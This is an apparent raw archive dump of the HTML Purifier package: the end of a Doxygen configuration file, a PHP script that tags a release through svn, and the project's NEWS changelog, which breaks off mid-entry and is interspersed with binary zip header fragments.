# tagging system (see http://www.gnu.org/software/global/global.html). You
# will need version 4.8.6 or higher.
USE_HTAGS = NO
# If the VERBATIM_HEADERS tag is set to YES (the default) then Doxygen
# will generate a verbatim copy of the header file for each class for
# which an include is specified. Set to NO to disable this.
VERBATIM_HEADERS = YES
#---------------------------------------------------------------------------
# configuration options related to the alphabetical class index
#---------------------------------------------------------------------------
# If the ALPHABETICAL_INDEX tag is set to YES, an alphabetical index
# of all compounds will be generated. Enable this if the project
# contains a lot of classes, structs, unions or interfaces.
ALPHABETICAL_INDEX = NO
# If the alphabetical index is enabled (see ALPHABETICAL_INDEX) then
# the COLS_IN_ALPHA_INDEX tag can be used to specify the number of columns
# in which this list will be split (can be a number in the range [1..20])
COLS_IN_ALPHA_INDEX = 5
# In case all classes in a project start with a common prefix, all
# classes will be put under the same header in the alphabetical index.
# The IGNORE_PREFIX tag can be used to specify one or more prefixes that
# should be ignored while generating the index headers.
IGNORE_PREFIX =
#---------------------------------------------------------------------------
# configuration options related to the HTML output
#---------------------------------------------------------------------------
# If the GENERATE_HTML tag is set to YES (the default) Doxygen will
# generate HTML output.
GENERATE_HTML = YES
# The HTML_OUTPUT tag is used to specify where the HTML docs will be put.
# If a relative path is entered the value of OUTPUT_DIRECTORY will be
# put in front of it. If left blank `html' will be used as the default path.
HTML_OUTPUT = html
# The HTML_FILE_EXTENSION tag can be used to specify the file extension for
# each generated HTML page (for example: .htm,.php,.asp). If it is left blank
# doxygen will generate files with .html extension.
HTML_FILE_EXTENSION = .html
# The HTML_HEADER tag can be used to specify a personal HTML header for
# each generated HTML page. If it is left blank doxygen will generate a
# standard header.
HTML_HEADER =
# The HTML_FOOTER tag can be used to specify a personal HTML footer for
# each generated HTML page. If it is left blank doxygen will generate a
# standard footer.
HTML_FOOTER =
# The HTML_STYLESHEET tag can be used to specify a user-defined cascading
# style sheet that is used by each HTML page. It can be used to
# fine-tune the look of the HTML output. If the tag is left blank doxygen
# will generate a default style sheet. Note that doxygen will try to copy
# the style sheet file to the HTML output directory, so don't put your own
# stylesheet in the HTML output directory as well, or it will be erased!
HTML_STYLESHEET =
# If the HTML_ALIGN_MEMBERS tag is set to YES, the members of classes,
# files or namespaces will be aligned in HTML using tables. If set to
# NO a bullet list will be used.
HTML_ALIGN_MEMBERS = YES
# If the GENERATE_HTMLHELP tag is set to YES, additional index files
# will be generated that can be used as input for tools like the
# Microsoft HTML help workshop to generate a compressed HTML help file (.chm)
# of the generated HTML documentation.
GENERATE_HTMLHELP = NO
# If the HTML_DYNAMIC_SECTIONS tag is set to YES then the generated HTML
# documentation will contain sections that can be hidden and shown after the
# page has loaded. For this to work a browser that supports
# JavaScript and DHTML is required (for instance Mozilla 1.0+, Firefox
# Netscape 6.0+, Internet explorer 5.0+, Konqueror, or Safari).
HTML_DYNAMIC_SECTIONS = NO
# If the GENERATE_HTMLHELP tag is set to YES, the CHM_FILE tag can
# be used to specify the file name of the resulting .chm file. You
# can add a path in front of the file if the result should not be
# written to the html output directory.
CHM_FILE =
# If the GENERATE_HTMLHELP tag is set to YES, the HHC_LOCATION tag can
# be used to specify the location (absolute path including file name) of
# the HTML help compiler (hhc.exe). If non-empty doxygen will try to run
# the HTML help compiler on the generated index.hhp.
HHC_LOCATION =
# If the GENERATE_HTMLHELP tag is set to YES, the GENERATE_CHI flag
# controls if a separate .chi index file is generated (YES) or that
# it should be included in the master .chm file (NO).
GENERATE_CHI = NO
# If the GENERATE_HTMLHELP tag is set to YES, the BINARY_TOC flag
# controls whether a binary table of contents is generated (YES) or a
# normal table of contents (NO) in the .chm file.
BINARY_TOC = NO
# The TOC_EXPAND flag can be set to YES to add extra items for group members
# to the contents of the HTML help documentation and to the tree view.
TOC_EXPAND = NO
# The DISABLE_INDEX tag can be used to turn on/off the condensed index at
# top of each HTML page. The value NO (the default) enables the index and
# the value YES disables it.
DISABLE_INDEX = NO
# This tag can be used to set the number of enum values (range [1..20])
# that doxygen will group on one line in the generated HTML documentation.
ENUM_VALUES_PER_LINE = 4
# If the GENERATE_TREEVIEW tag is set to YES, a side panel will be
# generated containing a tree-like index structure (just like the one that
# is generated for HTML Help). For this to work a browser that supports
# JavaScript, DHTML, CSS and frames is required (for instance Mozilla 1.0+,
# Netscape 6.0+, Internet explorer 5.0+, or Konqueror). Windows users are
# probably better off using the HTML help feature.
GENERATE_TREEVIEW = YES
# If the treeview is enabled (see GENERATE_TREEVIEW) then this tag can be
# used to set the initial width (in pixels) of the frame in which the tree
# is shown.
TREEVIEW_WIDTH = 250
#---------------------------------------------------------------------------
# configuration options related to the LaTeX output
#---------------------------------------------------------------------------
# If the GENERATE_LATEX tag is set to YES (the default) Doxygen will
# generate Latex output.
GENERATE_LATEX = NO
# The LATEX_OUTPUT tag is used to specify where the LaTeX docs will be put.
# If a relative path is entered the value of OUTPUT_DIRECTORY will be
# put in front of it. If left blank `latex' will be used as the default path.
LATEX_OUTPUT = latex
# The LATEX_CMD_NAME tag can be used to specify the LaTeX command name to be
# invoked. If left blank `latex' will be used as the default command name.
LATEX_CMD_NAME = latex
# The MAKEINDEX_CMD_NAME tag can be used to specify the command name to
# generate index for LaTeX. If left blank `makeindex' will be used as the
# default command name.
MAKEINDEX_CMD_NAME = makeindex
# If the COMPACT_LATEX tag is set to YES Doxygen generates more compact
# LaTeX documents. This may be useful for small projects and may help to
# save some trees in general.
COMPACT_LATEX = NO
# The PAPER_TYPE tag can be used to set the paper type that is used
# by the printer. Possible values are: a4, a4wide, letter, legal and
# executive. If left blank a4wide will be used.
PAPER_TYPE = a4wide
# The EXTRA_PACKAGES tag can be to specify one or more names of LaTeX
# packages that should be included in the LaTeX output.
EXTRA_PACKAGES =
# The LATEX_HEADER tag can be used to specify a personal LaTeX header for
# the generated latex document. The header should contain everything until
# the first chapter. If it is left blank doxygen will generate a
# standard header. Notice: only use this tag if you know what you are doing!
LATEX_HEADER =
# If the PDF_HYPERLINKS tag is set to YES, the LaTeX that is generated
# is prepared for conversion to pdf (using ps2pdf). The pdf file will
# contain links (just like the HTML output) instead of page references
# This makes the output suitable for online browsing using a pdf viewer.
PDF_HYPERLINKS = YES
# If the USE_PDFLATEX tag is set to YES, pdflatex will be used instead of
# plain latex in the generated Makefile. Set this option to YES to get a
# higher quality PDF documentation.
USE_PDFLATEX = YES
# If the LATEX_BATCHMODE tag is set to YES, doxygen will add the \\batchmode.
# command to the generated LaTeX files. This will instruct LaTeX to keep
# running if errors occur, instead of asking the user for help.
# This option is also used when generating formulas in HTML.
LATEX_BATCHMODE = NO
# If LATEX_HIDE_INDICES is set to YES then doxygen will not
# include the index chapters (such as File Index, Compound Index, etc.)
# in the output.
LATEX_HIDE_INDICES = NO
#---------------------------------------------------------------------------
# configuration options related to the RTF output
#---------------------------------------------------------------------------
# If the GENERATE_RTF tag is set to YES Doxygen will generate RTF output
# The RTF output is optimized for Word 97 and may not look very pretty with
# other RTF readers or editors.
GENERATE_RTF = NO
# The RTF_OUTPUT tag is used to specify where the RTF docs will be put.
# If a relative path is entered the value of OUTPUT_DIRECTORY will be
# put in front of it. If left blank `rtf' will be used as the default path.
RTF_OUTPUT = rtf
# If the COMPACT_RTF tag is set to YES Doxygen generates more compact
# RTF documents. This may be useful for small projects and may help to
# save some trees in general.
COMPACT_RTF = NO
# If the RTF_HYPERLINKS tag is set to YES, the RTF that is generated
# will contain hyperlink fields. The RTF file will
# contain links (just like the HTML output) instead of page references.
# This makes the output suitable for online browsing using WORD or other
# programs which support those fields.
# Note: wordpad (write) and others do not support links.
RTF_HYPERLINKS = NO
# Load stylesheet definitions from file. Syntax is similar to doxygen's
# config file, i.e. a series of assignments. You only have to provide
# replacements, missing definitions are set to their default value.
RTF_STYLESHEET_FILE =
# Set optional variables used in the generation of an rtf document.
# Syntax is similar to doxygen's config file.
RTF_EXTENSIONS_FILE =
#---------------------------------------------------------------------------
# configuration options related to the man page output
#---------------------------------------------------------------------------
# If the GENERATE_MAN tag is set to YES (the default) Doxygen will
# generate man pages
GENERATE_MAN = NO
# The MAN_OUTPUT tag is used to specify where the man pages will be put.
# If a relative path is entered the value of OUTPUT_DIRECTORY will be
# put in front of it. If left blank `man' will be used as the default path.
MAN_OUTPUT = man
# The MAN_EXTENSION tag determines the extension that is added to
# the generated man pages (default is the subroutine's section .3)
MAN_EXTENSION = .3
# If the MAN_LINKS tag is set to YES and Doxygen generates man output,
# then it will generate one additional man file for each entity
# documented in the real man page(s). These additional files
# only source the real man page, but without them the man command
# would be unable to find the correct page. The default is NO.
MAN_LINKS = NO
#---------------------------------------------------------------------------
# configuration options related to the XML output
#---------------------------------------------------------------------------
# If the GENERATE_XML tag is set to YES Doxygen will
# generate an XML file that captures the structure of
# the code including all documentation.
GENERATE_XML = NO
# The XML_OUTPUT tag is used to specify where the XML pages will be put.
# If a relative path is entered the value of OUTPUT_DIRECTORY will be
# put in front of it. If left blank `xml' will be used as the default path.
XML_OUTPUT = xml
# The XML_SCHEMA tag can be used to specify an XML schema,
# which can be used by a validating XML parser to check the
# syntax of the XML files.
XML_SCHEMA =
# The XML_DTD tag can be used to specify an XML DTD,
# which can be used by a validating XML parser to check the
# syntax of the XML files.
XML_DTD =
# If the XML_PROGRAMLISTING tag is set to YES Doxygen will
# dump the program listings (including syntax highlighting
# and cross-referencing information) to the XML output. Note that
# enabling this will significantly increase the size of the XML output.
XML_PROGRAMLISTING = YES
#---------------------------------------------------------------------------
# configuration options for the AutoGen Definitions output
#---------------------------------------------------------------------------
# If the GENERATE_AUTOGEN_DEF tag is set to YES Doxygen will
# generate an AutoGen Definitions (see autogen.sf.net) file
# that captures the structure of the code including all
# documentation. Note that this feature is still experimental
# and incomplete at the moment.
GENERATE_AUTOGEN_DEF = NO
#---------------------------------------------------------------------------
# configuration options related to the Perl module output
#---------------------------------------------------------------------------
# If the GENERATE_PERLMOD tag is set to YES Doxygen will
# generate a Perl module file that captures the structure of
# the code including all documentation. Note that this
# feature is still experimental and incomplete at the
# moment.
GENERATE_PERLMOD = NO
# If the PERLMOD_LATEX tag is set to YES Doxygen will generate
# the necessary Makefile rules, Perl scripts and LaTeX code to be able
# to generate PDF and DVI output from the Perl module output.
PERLMOD_LATEX = NO
# If the PERLMOD_PRETTY tag is set to YES the Perl module output will be
# nicely formatted so it can be parsed by a human reader. This is useful
# if you want to understand what is going on. On the other hand, if this
# tag is set to NO the size of the Perl module output will be much smaller
# and Perl will parse it just the same.
PERLMOD_PRETTY = YES
# The names of the make variables in the generated doxyrules.make file
# are prefixed with the string contained in PERLMOD_MAKEVAR_PREFIX.
# This is useful so different doxyrules.make files included by the same
# Makefile don't overwrite each other's variables.
PERLMOD_MAKEVAR_PREFIX =
#---------------------------------------------------------------------------
# Configuration options related to the preprocessor
#---------------------------------------------------------------------------
# If the ENABLE_PREPROCESSING tag is set to YES (the default) Doxygen will
# evaluate all C-preprocessor directives found in the sources and include
# files.
ENABLE_PREPROCESSING = YES
# If the MACRO_EXPANSION tag is set to YES Doxygen will expand all macro
# names in the source code. If set to NO (the default) only conditional
# compilation will be performed. Macro expansion can be done in a controlled
# way by setting EXPAND_ONLY_PREDEF to YES.
MACRO_EXPANSION = NO
# If the EXPAND_ONLY_PREDEF and MACRO_EXPANSION tags are both set to YES
# then the macro expansion is limited to the macros specified with the
# PREDEFINED and EXPAND_AS_DEFINED tags.
EXPAND_ONLY_PREDEF = NO
# If the SEARCH_INCLUDES tag is set to YES (the default) the includes files
# in the INCLUDE_PATH (see below) will be search if a #include is found.
SEARCH_INCLUDES = YES
# The INCLUDE_PATH tag can be used to specify one or more directories that
# contain include files that are not input files but should be processed by
# the preprocessor.
INCLUDE_PATH =
# You can use the INCLUDE_FILE_PATTERNS tag to specify one or more wildcard
# patterns (like *.h and *.hpp) to filter out the header-files in the
# directories. If left blank, the patterns specified with FILE_PATTERNS will
# be used.
INCLUDE_FILE_PATTERNS =
# The PREDEFINED tag can be used to specify one or more macro names that
# are defined before the preprocessor is started (similar to the -D option of
# gcc). The argument of the tag is a list of macros of the form: name
# or name=definition (no spaces). If the definition and the = are
# omitted =1 is assumed. To prevent a macro definition from being
# undefined via #undef or recursively expanded use the := operator
# instead of the = operator.
PREDEFINED =
# If the MACRO_EXPANSION and EXPAND_ONLY_PREDEF tags are set to YES then
# this tag can be used to specify a list of macro names that should be expanded.
# The macro definition that is found in the sources will be used.
# Use the PREDEFINED tag if you want to use a different macro definition.
EXPAND_AS_DEFINED =
# If the SKIP_FUNCTION_MACROS tag is set to YES (the default) then
# doxygen's preprocessor will remove all function-like macros that are alone
# on a line, have an all uppercase name, and do not end with a semicolon. Such
# function macros are typically used for boiler-plate code, and will confuse
# the parser if not removed.
SKIP_FUNCTION_MACROS = YES
#---------------------------------------------------------------------------
# Configuration::additions related to external references
#---------------------------------------------------------------------------
# The TAGFILES option can be used to specify one or more tagfiles.
# Optionally an initial location of the external documentation
# can be added for each tagfile. The format of a tag file without
# this location is as follows:
# TAGFILES = file1 file2 ...
# Adding location for the tag files is done as follows:
# TAGFILES = file1=loc1 "file2 = loc2" ...
# where "loc1" and "loc2" can be relative or absolute paths or
# URLs. If a location is present for each tag, the installdox tool
# does not have to be run to correct the links.
# Note that each tag file must have a unique name
# (where the name does NOT include the path)
# If a tag file is not located in the directory in which doxygen
# is run, you must also specify the path to the tagfile here.
TAGFILES =
# When a file name is specified after GENERATE_TAGFILE, doxygen will create
# a tag file that is based on the input files it reads.
GENERATE_TAGFILE =
# If the ALLEXTERNALS tag is set to YES all external classes will be listed
# in the class index. If set to NO only the inherited external classes
# will be listed.
ALLEXTERNALS = NO
# If the EXTERNAL_GROUPS tag is set to YES all external groups will be listed
# in the modules index. If set to NO, only the current project's groups will
# be listed.
EXTERNAL_GROUPS = YES
# The PERL_PATH should be the absolute path and name of the perl script
# interpreter (i.e. the result of `which perl').
PERL_PATH = /usr/bin/perl
#---------------------------------------------------------------------------
# Configuration options related to the dot tool
#---------------------------------------------------------------------------
# If the CLASS_DIAGRAMS tag is set to YES (the default) Doxygen will
# generate a inheritance diagram (in HTML, RTF and LaTeX) for classes with base
# or super classes. Setting the tag to NO turns the diagrams off. Note that
# this option is superseded by the HAVE_DOT option below. This is only a
# fallback. It is recommended to install and use dot, since it yields more
# powerful graphs.
CLASS_DIAGRAMS = YES
# You can define message sequence charts within doxygen comments using the \msc
# command. Doxygen will then run the mscgen tool (see http://www.mcternan.me.uk/mscgen/) to
# produce the chart and insert it in the documentation. The MSCGEN_PATH tag allows you to
# specify the directory where the mscgen tool resides. If left empty the tool is assumed to
# be found in the default search path.
MSCGEN_PATH =
# If set to YES, the inheritance and collaboration graphs will hide
# inheritance and usage relations if the target is undocumented
# or is not a class.
HIDE_UNDOC_RELATIONS = YES
# If you set the HAVE_DOT tag to YES then doxygen will assume the dot tool is
# available from the path. This tool is part of Graphviz, a graph visualization
# toolkit from AT&T and Lucent Bell Labs. The other options in this section
# have no effect if this option is set to NO (the default)
HAVE_DOT = NO
# If the CLASS_GRAPH and HAVE_DOT tags are set to YES then doxygen
# will generate a graph for each documented class showing the direct and
# indirect inheritance relations. Setting this tag to YES will force the
# the CLASS_DIAGRAMS tag to NO.
CLASS_GRAPH = YES
# If the COLLABORATION_GRAPH and HAVE_DOT tags are set to YES then doxygen
# will generate a graph for each documented class showing the direct and
# indirect implementation dependencies (inheritance, containment, and
# class references variables) of the class with other documented classes.
COLLABORATION_GRAPH = YES
# If the GROUP_GRAPHS and HAVE_DOT tags are set to YES then doxygen
# will generate a graph for groups, showing the direct groups dependencies
GROUP_GRAPHS = YES
# If the UML_LOOK tag is set to YES doxygen will generate inheritance and
# collaboration diagrams in a style similar to the OMG's Unified Modeling
# Language.
UML_LOOK = NO
# If set to YES, the inheritance and collaboration graphs will show the
# relations between templates and their instances.
TEMPLATE_RELATIONS = NO
# If the ENABLE_PREPROCESSING, SEARCH_INCLUDES, INCLUDE_GRAPH, and HAVE_DOT
# tags are set to YES then doxygen will generate a graph for each documented
# file showing the direct and indirect include dependencies of the file with
# other documented files.
INCLUDE_GRAPH = YES
# If the ENABLE_PREPROCESSING, SEARCH_INCLUDES, INCLUDED_BY_GRAPH, and
# HAVE_DOT tags are set to YES then doxygen will generate a graph for each
# documented header file showing the documented files that directly or
# indirectly include this file.
INCLUDED_BY_GRAPH = YES
# If the CALL_GRAPH, SOURCE_BROWSER and HAVE_DOT tags are set to YES then doxygen will
# generate a call dependency graph for every global function or class method.
# Note that enabling this option will significantly increase the time of a run.
# So in most cases it will be better to enable call graphs for selected
# functions only using the \callgraph command.
CALL_GRAPH = NO
# If the CALLER_GRAPH, SOURCE_BROWSER and HAVE_DOT tags are set to YES then doxygen will
# generate a caller dependency graph for every global function or class method.
# Note that enabling this option will significantly increase the time of a run.
# So in most cases it will be better to enable caller graphs for selected
# functions only using the \callergraph command.
CALLER_GRAPH = NO
# If the GRAPHICAL_HIERARCHY and HAVE_DOT tags are set to YES then doxygen
# will graphical hierarchy of all classes instead of a textual one.
GRAPHICAL_HIERARCHY = YES
# If the DIRECTORY_GRAPH, SHOW_DIRECTORIES and HAVE_DOT tags are set to YES
# then doxygen will show the dependencies a directory has on other directories
# in a graphical way. The dependency relations are determined by the #include
# relations between the files in the directories.
DIRECTORY_GRAPH = YES
# The DOT_IMAGE_FORMAT tag can be used to set the image format of the images
# generated by dot. Possible values are png, jpg, or gif
# If left blank png will be used.
DOT_IMAGE_FORMAT = png
# The tag DOT_PATH can be used to specify the path where the dot tool can be
# found. If left blank, it is assumed the dot tool can be found in the path.
DOT_PATH =
# The DOTFILE_DIRS tag can be used to specify one or more directories that
# contain dot files that are included in the documentation (see the
# \dotfile command).
DOTFILE_DIRS =
# The MAX_DOT_GRAPH_MAX_NODES tag can be used to set the maximum number of
# nodes that will be shown in the graph. If the number of nodes in a graph
# becomes larger than this value, doxygen will truncate the graph, which is
# visualized by representing a node as a red box. Note that doxygen if the number
# of direct children of the root node in a graph is already larger than
# MAX_DOT_GRAPH_NOTES then the graph will not be shown at all. Also note
# that the size of a graph can be further restricted by MAX_DOT_GRAPH_DEPTH.
DOT_GRAPH_MAX_NODES = 50
# The MAX_DOT_GRAPH_DEPTH tag can be used to set the maximum depth of the
# graphs generated by dot. A depth value of 3 means that only nodes reachable
# from the root by following a path via at most 3 edges will be shown. Nodes
# that lay further from the root node will be omitted. Note that setting this
# option to 1 or 2 may greatly reduce the computation time needed for large
# code bases. Also note that the size of a graph can be further restricted by
# DOT_GRAPH_MAX_NODES. Using a depth of 0 means no depth restriction.
MAX_DOT_GRAPH_DEPTH = 1000
# Set the DOT_TRANSPARENT tag to YES to generate images with a transparent
# background. This is disabled by default, which results in a white background.
# Warning: Depending on the platform used, enabling this option may lead to
# badly anti-aliased labels on the edges of a graph (i.e. they become hard to
# read).
DOT_TRANSPARENT = NO
# Set the DOT_MULTI_TARGETS tag to YES allow dot to generate multiple output
# files in one run (i.e. multiple -o and -T options on the command line). This
# makes dot run faster, but since only newer versions of dot (>1.8.10)
# support this, this feature is disabled by default.
DOT_MULTI_TARGETS = NO
# If the GENERATE_LEGEND tag is set to YES (the default) Doxygen will
# generate a legend page explaining the meaning of the various boxes and
# arrows in the dot generated graphs.
GENERATE_LEGEND = YES
# If the DOT_CLEANUP tag is set to YES (the default) Doxygen will
# remove the intermediate dot files that are used to generate
# the various graphs.
DOT_CLEANUP = YES
#---------------------------------------------------------------------------
# Configuration::additions related to the search engine
#---------------------------------------------------------------------------
# The SEARCHENGINE tag specifies whether or not a search engine should be
# used. If set to NO the values of all tags below this one will be ignored.
SEARCHENGINE = NO
# vim: et sw=4 sts=4
PK j�$Z�F� htmlpurifier/release2-tag.phpnu �[��� <?php
// Tags releases
if (php_sapi_name() != 'cli') {
echo 'Release script cannot be called from web-browser.';
exit;
}
require 'svn.php';
$svn_info = my_svn_info('.');
$version = trim(file_get_contents('VERSION'));
$trunk_url = $svn_info['Repository Root'] . '/htmlpurifier/trunk';
$trunk_tag_url = $svn_info['Repository Root'] . '/htmlpurifier/tags/' . $version;
echo "Tagging trunk to tags/$version...";
passthru("svn copy --message \"Tag $version release.\" $trunk_url $trunk_tag_url");
// vim: et sw=4 sts=4
PK j�$Z�e�G� � htmlpurifier/NEWSnu �[��� NEWS ( CHANGELOG and HISTORY ) HTMLPurifier
|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
= KEY ====================
# Breaks back-compat
! Feature
- Bugfix
+ Sub-comment
. Internal change
==========================
4.12.0, released 2019-10-27
! PHP 7.4 is supported, thank you Witold Wasiczko, Mateuz Turcza and
Edi Modrić
- PHPDocs for HTMLModule::addElement() and Bool attr are fixed (thanks
Mateusz)
4.11.0, released 2019-07-14
# SafeScripting now matches case-sensitively against its whitelist (previously it was
case-insensitive.) Thanks Dimitri Gritsajuk <gritsajuk.dimitri@gmail.com>
for reporting.
! New directive %Core.AllowParseManyTags which allows parsing of many nested tags.
Thanks M. Suzuki <msuzuki1986@gmail.com> for contributing the patch.
! purifyArray now supports multidimensional arrays. Thanks
Sandro Miguel Marques <sandromiguel@sandromiguel.com> for contributing this patch.
! initial and inherit settings available for width, height, and the min-/max-
versions thereof. Thanks Michael Kliewe <info@phpgansta.de> for contributing
this patch.
! More color names are supported. Thanks Daijobou for contributing.
- Compatibility fixes for PHP 7.3, including new CI for PHP 7.3
(thank you Lukas Neumann <lksnmnn@gmail.com>) and removal of
reserved words in our constants (thanks Darko Hrgovic <darko@darkodev.com>
- Compatibility fixes for HHVM. Thanks Mateusz Turcza for contributing
this fix.
- HTML Purifier now never defines __autoload, fixing #196. Thanks
Michael Kliewe for reporting.
- In some situations, Config.php would report an undefined index: class
error; this has been fixed. Thanks DiLong Fa for contributing
this fix.
- We no longer produce <script /> tags; we always explicitly write
out the open and close tag. Thanks Dimitri Gritsajuk
<gritsajuk.dimitri@gmail.com> for contributing this fix.
- Better compatibility when IDNA constants are not present. Thanks
Mateusz Turcza <xemlock@gmail.com> for contributing this fix.
4.10.0, released 2018-02-22
# PHP 5.3 is no longer officially supported by HTML Purifier
(we did not specifically break support, but we are no longer
testing on PHP 5.3)
! Relative CSS length units are now supported
- A few PHP 7.2 compatibility fixes, thanks John Flatness
<john@zerocrates.org>
- Improve portability with old versions of libxml which don't
support accessing the data of a node
- IDNA2008 is now used for converting domains to ASCII, fixing
some rather strange bugs with international domains
- Fix race condition resulting in E_WARNING when creating
directories with Serializer
4.9.3, released 2017-06-02
- Workaround PHP 7.1 infinite loop when opcode cache is enabled.
Thanks @Xiphin (#134, #135)
- Don't use autoloader when testing for DOMDocument. Hypothetically,
this could cause your install to start using DirectLex if you had
previously been monkeypatching in a custom, autoloaded implementation
of DOMDocument. Don't do that. Thanks @Izumi-kun (#130)
4.9.2, released 2017-03-12
- Fixes PHP 5.3 compatibility
- Fix breakage when decoding decimal entities. Thanks @rybakit (#129)
4.9.1, released 2017-03-08
! %URI.DefaultScheme can now be set to null, in which case
all relative paths are removed.
! New CSS properties: min-width, max-width, min-height, max-height (#94)
! Transparency (rgba) and hsl/hsla supported where color CSS is present.
Thanks @fxbt for contributing the patch. (#118)
- When idn_to_ascii is defined, we might accept malformed
hostnames. Apply validation to the result in such cases.
- Close directory when done in Serializer DefinitionCache (#100)
- Deleted some asserts to avoid linters from choking (#97)
- Rework Serializer cache behavior to avoid chmod'ing if possible (#32)
- Embedded semicolons in strings in CSS are now handled correctly!
- We accidentally dropped certain Unicode characters if there was
one or more invalid characters. This has been fixed, thanks
to mpyw <ryosuke_i_628@yahoo.co.jp>
- Fix for "Don't truncate upon encountering </div> when using DOMLex"
caused a regression with HTML 4.01 Strict parsing with libxml 2.9.1
(and maybe later versions, but known OK with libxml 2.9.4). The
fix is to go about handling truncation a bit more cleverly so that
we can wrap with divs (sidestepping the bug) but slurping out the
rest of the text in case it ran off the end. (#78)
- Fix PREG_BACKTRACK_LIMIT_ERROR in HTMLPurifier_Filter_ExtractStyle.
Thanks @breathbath for contributing the report and fix (#120)
- Fix entity decoding algorithm to be more conservative about
decoding entities that are missing trailing semicolon.
To get old behavior, set %Core.LegacyEntityDecoder to true.
(#119)
- Workaround libxml bug when HTML tags are embedded inside
script tags. To disable workaround set %Core.AggressivelyRemoveScript
to false. (#83)
# By default, when a link has a target attribute associated
with it, we now also add rel="noopener" in order to
prevent the new window from being able to overwrite
the original frame. To disable this protection,
set %HTML.TargetNoopener to FALSE.
4.9.0 was cut on Git but never properly released; when we did the
real release we decided to skip this version number.
4.8.0, released 2016-07-16
# By default, when a link has a target attribute associated
with it, we now also add rel="noreferrer" in order to
prevent the new window from being able to overwrite
the original frame. To disable this protection,
set %HTML.TargetNoreferrer to FALSE.
! Full PHP 7 compatibility, the test suite is ALL GO.
! %CSS.AllowDuplicates permits duplicate CSS properties.
! Support for 'tel' URIs.
! Partial support for 'border-radius' properties when %CSS.AllowProprietary is true.
The slash syntax, i.e., 'border-radius: 2em 1em 4em / 0.5em 3em' is not
yet supported.
! %Attr.ID.HTML5 turns on HTML5-style ID handling.
- alt truncation could result in malformed UTF-8 sequence. Don't
truncate. Thanks Brandon Farber for reporting.
- Linkify regex is smarter, based off of Gruber's regex.
- IDNA supported natively on PHP 5.3 and later.
- Non all-numeric top-level names (e.g., foo.1f, 1f) are now
allowed.
- Minor bounds error fix to squash a PHP 7 notice.
- Support non-/tmp temporary directories for data:// validation
- Give a better error message when a user attempts to allow
ul/ol without allowing li.
- On some versions of PHP, the Serializer DefinitionCache could
infinite loop when the directory exists but is not listable. (#49)
- Don't match for <body> inside comments with
%Core.ConvertDocumentToFragment. (#67)
- SafeObject is now less case sensitive. (#57)
- AutoFormat.RemoveEmpty.Predicate now correctly renders in
web form. (#85)
4.7.0, released 2015-08-04
# opacity is now considered a "tricky" CSS property rather than a
proprietary one.
! %AutoFormat.RemoveEmpty.Predicate for specifying exactly when
an element should be considered "empty" (maybe preserve if it
has attributes), and modify iframe support so that the iframe
is removed if it is missing a src attribute. Thanks meeva for
reporting.
- Don't truncate upon encountering </div> when using DOMLex. Thanks
Myrto Christina for finally convincing me to fix this.
- Update YouTube filter for new code.
- Fix parsing of rgb() values with spaces in them for 'border'
attribute.
- Don't remove foo="" attributes if foo is a boolean attribute. Thanks
valME for reporting.
4.6.0, released 2013-11-30
# Secure URI munge hashing algorithm has changed to hash_hmac("sha256", $url, $secret).
Please update any verification scripts you may have.
# URI parsing algorithm was made more strict, so only prefixes which
looks like schemes will actually be schemes. Thanks
Michael Gusev <mgusev@sugarcrm.com> for fixing.
# %Core.EscapeInvalidChildren is no longer supported, and no longer does
anything.
! New directive %Core.AllowHostnameUnderscore which allows underscores
in hostnames.
- Eliminate quadratic behavior in DOMLex by using a proper queue.
Thanks Ole Laursen for noticing this.
- Rewritten MakeWellFormed/FixNesting implementation eliminates quadratic
behavior in the rest of the purificaiton pipeline. Thanks Chedburn
Networks for sponsoring this work.
- Made Linkify URL parser a bit less permissive, so that non-breaking
spaces and commas are not included as part of URL. Thanks nAS for fixing.
- Fix some bad interactions with %HTML.Allowed and injectors. Thanks
David Hirtz for reporting.
- Fix infinite loop in DirectLex. Thanks Ashar Javed (@soaj1664ashar)
for reporting.
4.5.0, released 2013-02-17
# Fix bug where stacked attribute transforms clobber each other;
this also means it's no longer possible to override attribute
transforms in later modules. No internal code was using this
but this may break some clients.
# We now use SHA-1 to identify cached definitions, instead of MD5.
! Support display:inline-block
! Support for more white-space CSS values.
! Permit underscores in font families
! Support for page-break-* CSS3 properties when proprietary properties
are enabled.
! New directive %Core.DisableExcludes; can be set to 'true' to turn off
SGML excludes checking. If HTML Purifier is removing too much text
and you don't care about full standards compliance, try setting this to
'true'.
- Use prepend for SPL autoloading on PHP 5.3 and later.
- Fix bug with nofollow transform when pre-existing rel exists.
- Fix bug where background:url() always gets lower-cased
(but not background-image:url())
- Fix bug with non lower-case color names in HTML
- Fix bug where data URI validation doesn't remove temporary files.
Thanks Javier Marín Ros <javiermarinros@gmail.com> for reporting.
- Don't remove certain empty tags on RemoveEmpty.
4.4.0, released 2012-01-18
# Removed PEARSax3 handler.
# URI.Munge now munges URIs inside the same host that go from https
to http. Reported by Neike Taika-Tessaro.
# Core.EscapeNonASCIICharacters now always transforms entities to
entities, even if target encoding is UTF-8.
# Tighten up selector validation in ExtractStyleBlocks.
Non-syntactically valid selectors are now rejected, along with
some of the more obscure ones such as attribute selectors, the
:lang pseudoselector, and anything not in CSS2.1. Furthermore,
ID and class selectors now work properly with the relevant
configuration attributes. Also, mute errors when parsing CSS
with CSS Tidy. Reported by Mario Heiderich and Norman Hippert.
! Added support for 'scope' attribute on tables.
! Added %HTML.TargetBlank, which adds target="blank" to all outgoing links.
! Properly handle sub-lists directly nested inside of lists in
a standards compliant way, by moving them into the preceding <li>
! Added %HTML.AllowedComments and %HTML.AllowedCommentsRegexp for
limited allowed comments in untrusted situations.
! Implement iframes, and allow them to be used in untrusted mode with
%HTML.SafeIframe and %URI.SafeIframeRegexp. Thanks Bradley M. Froehle
<brad.froehle@gmail.com> for submitting an initial version of the patch.
! The Forms module now works properly for transitional doctypes.
! Added support for internationalized domain names. You need the PEAR
Net_IDNA2 module to be in your path; if it is installed, ensure the
class can be loaded and then set %Core.EnableIDNA to true.
- Color keywords are now case insensitive. Thanks Yzmir Ramirez
<yramirez-htmlpurifier@adicio.com> for reporting.
- Explicitly initialize anonModule variable to null.
- Do not duplicate nofollow if already present. Thanks 178
for reporting.
- Do not add nofollow if hostname matches our current host. Thanks 178
for reporting, and Neike Taika-Tessaro for helping diagnose.
- Do not unset parser variable; this fixes intermittent serialization
problems. Thanks Neike Taika-Tessaro for reporting, bill
<10010tiger@gmail.com> for diagnosing.
- Fix iconv truncation bug, where non-UTF-8 target encodings see
